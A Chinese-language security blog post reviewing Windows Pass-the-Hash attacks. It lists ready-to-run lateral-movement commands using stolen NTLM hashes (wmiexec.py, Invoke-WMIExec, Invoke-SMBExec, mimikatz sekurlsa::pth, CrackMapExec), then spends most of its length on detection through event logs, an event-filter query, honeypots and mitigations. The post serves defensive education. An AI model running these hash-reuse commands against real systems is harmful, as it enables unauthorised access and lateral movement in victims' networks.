Pass The Hash [ 知识回顾 ]

这个[ 知识回顾 ]系列文章,整合记录的是在掌握知识点中,所忽略的点、涉及的原理等;

0x00 前言

在横向移动中,无论是域环境还是工作组环境,hash传递常用于在获取用户hash凭证后,且在不破解的情况下,重新使用它来欺骗身份验证系统在同一网络上创建新的经过身份验证的会话。

0x01 Pass The Hash的原理

  • 在windows系统中,通常会使用NTLM身份认证
  • NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
  • NTLM就好像是一个令牌,有了这个令牌就相当于获取了这个令牌所属者的权限,它只是在身份验证的时候绕过了用户必须输入口令的那一步。
  • 这个不是漏洞。

0x02 常用攻击方式

  • meterpreter

    1
    use exploit/windows/smb/psexec_psh
  • wmiexec

    1
    wmiexec.py -hashes e6db7544d2c6d325ca3b108f3faa626d:5a625b04e786347908fc5f5d8a26dad5(LMHASH:NTHASH) rcoil/john@192.10.20.22 "whoami"
  • Invoke-WMIExec

    1
    Invoke-WMIExec -Target 192.10.20.22 -Domain rcoil.org -Username john -Hash 5a625b04e786347908fc5f5d8a26dad5 -Command "calc.exe" -verbose
  • Invoke-SMBExec

    1
    Invoke-SMBExec -Target 192.10.20.22 -Domain rcoil.org -Username john -Hash 5a625b04e786347908fc5f5d8a26dad5 -Command "calc.exe" -verbose
  • mimikatz(Overpass-the-hash)

    1
    2
    privilege::debug
    sekurlsa::pth /user:john /domain:rcoil.org /ntlm:5a625b04e786347908fc5f5d8a26dad5
  • CrackMapExec

    1
    cme smb 192.10.20.22 -u john -H 5a625b04e786347908fc5f5d8a26dad5 -x whoami

0x03 如何检测

由于Hash传递的结果为有效身份验证,因此建议检测查看涉及到的身份验证日志以确定正常用户行为与异常用户行为。这可能需要大量的数据分析,且可能导致许多误报的调查结果。

1) 工作组日志事件

  • 产生NTLM身份验证

    blog_2019-04-04_15-47-55.png

  • 日志ID 4648 查看登录信息

    blog_2019-04-03_16-08-45.png

    显示账户已经成功登陆

  • 日志ID 4624 所有用户登录事件

    blog_2019-04-03_16-12-14.png

在4624事件中,登陆类型为2,表示是一个交互式登陆。这符合使用runas登陆的方式。

  • 日志ID 4672 分配给新登录的特权

    blog_2019-04-03_16-19-27.png

  • SQLServer 机器

    192.168.1.104机器上查看,在4624事件上能明确看到登陆类型为3,即网络登陆。且登陆身份验证数据包为NTLM。我们还将看到4672事件,因为我们利用的用户帐户是特权帐户

2) 域控日志事件

以下是我们在不使用pass-the-hash执行NTLM身份验证时看到的日志摘要。这为我们提供了正常行为的基线。

Source Host Target Host Domain Controller
4648 - 使用显式凭据尝试登录 4624 - 帐户已成功登录。登录类型3,NTLM 4768 - 请求了Kerberos身份验证票证(TGT)
4624 - 帐户已成功登录。登录类型2 4672 - 分配给新登录的特权 4769 - 请求了Kerberos服务票证
4672 - 分配给新登录的特权 4776 - 计算机尝试验证帐户的凭据

接下来看看Pass The Hash所产生的日志事件

3)Pass The Hash事件

以下是我们在使用Pass-The-Hash执行NTLM身份验证时看到的日志摘要。

Source Host Target Host Domain Controller
4648 - 使用显式凭据尝试登录 4624 - 帐户已成功登录。登录类型3,NTLM 4776 - 计算机尝试验证帐户的凭据
4624 - 帐户已成功登录 (登录类型= 9 ,登录过程= Seclogo 4672 - 分配给新登录的特权
4672 - 分配给新登录的特权 (登录用户,而不是模拟用户)

自定义事件过滤器,可用于显示特定信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID='4624')]
and
EventData[Data[@Name='LogonType']='9']
and
EventData[Data[@Name='LogonProcessName']='seclogo']
and
EventData[Data[@Name='AuthenticationPackageName']='Negotiate']
]
</Select>
</Query>
<Query Id="0" Path="Microsoft-Windows-Sysmon/Operational">
<Select Path="Microsoft-Windows-Sysmon/Operational">
*[System[(EventID=10)]]
and
*[EventData[Data[@Name='GrantedAccess'] and (Data='0x1010' or Data='0x1038')]]
</Select>
</Query>
</QueryList>

以上日志事件可自行验证。

VB代码为:< https://docs.microsoft.com/en-us/previous-versions/bb671200%28v%3dvs.90%29>

4) 要想放心,还是得买买买

StealthDEFEND

Real-Time Auditing for Active Directory

略….

5)蜜罐部署

https://blog.stealthbits.com/detecting-pass-the-hash-honeypots/
https://blog.stealthbits.com/implementing-detections-for-the-honeyhash/
https://blog.stealthbits.com/deploying-pass-the-hash-honeypots/
https://go.stealthbits.com/l/71852/2018-09-11/7vsk5x

略….

0x04 缓解措施

  • 域管账户只能访问域控制器,且强调最少用户访问的概念。
  • 域控制器与其余敏感系统只能从可信的脱网环境进行访问。
  • 使用双因素身份验证。
  • 监控身份验证与异常登陆活动相关日志。
  • 启用LSA保护。
  • 手动添加注册表,取消明文存储(KB2871997补丁):

    1
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0
  • 略….

0x05 参考

Pass the hash
从hash传递攻击谈相关Windows安全机制
Active Directory administrative tier model
如何检测Windows中的横向渗透攻击
HOW TO DETECT PASS-THE-HASH ATTACKS
Pass-the-hash attacks: Tools and Mitigation

!坚持技术分享,您的支持将鼓励我继续创作!